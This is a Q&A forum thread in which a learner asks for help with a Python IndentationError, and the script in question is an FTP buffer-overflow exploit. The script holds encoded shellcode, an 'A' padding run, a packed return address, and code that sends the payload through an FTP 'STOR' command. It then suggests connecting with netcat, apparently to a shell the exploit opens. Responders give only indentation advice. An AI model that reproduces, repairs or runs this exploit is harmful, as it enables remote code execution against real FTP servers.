Link to home
Start Free TrialLog in
Avatar of Blkmbm9
Blkmbm9Flag for Canada

asked on

HELP unexpected indent error python

Hello,
I am  learning python, but I have a  problem, I am trying to run a  python script, but I cannot  get it done. it seems  that there is  a  problem with  an   IndentationError: unexpected indent error, just before  the  except:  block.

I have  searched and  found that it might be  a  missing colon, I have  tried  several  options, but  I not able  to  find  where the problem is,

Can  anyone  help me?, any  advice please...

this is  the script:

import ftplib
from ftplib import FTP
import struct
print "\n\n################################"
print "###################################"

# Shellcode

sc = "\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x74"
"\x59\x14\x73\x83\xeb\xfc\xe2\xf4\x88\x33\xff\x3e\x9c\xa0\xeb\x8c"
"\xff\x0e\xe8\xf0\xb0\x3d\xeb\xa5\x26\xa6\xc4\x1b\x84\xd3\x10\x2c"
"\x27\xa6\xc2\x8c\xa4\x59\x14\x73";

buffer = '\x41'*966+struct.pack('<L', 0x77DF2740)+'\x42'*32+sc

try:


 ftp=FTP('192.168.13.54')
 ftp.login('ftp','ftp')
 print "\Try connecting with netcat."
 except:
 print "\nCould not Connect to FTP Server."
 try:
 ftp.transfercmd("STOR " + buffer)

 except:
 print "\nDone."

//////////***********************////////////
brown@:~#python ftpshell.py
  File "ftpshell.py", line
    except:
    ^
IndentationError: unexpected indent
Avatar of farzanj
farzanj
Flag of Canada image

Python is very indentation and white space sensitive.

Remove the spaces/tab in front of except:
ASKER CERTIFIED SOLUTION
Avatar of xeltek
xeltek
Flag of China image

Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
Avatar of Blkmbm9

ASKER

Thank you  so much!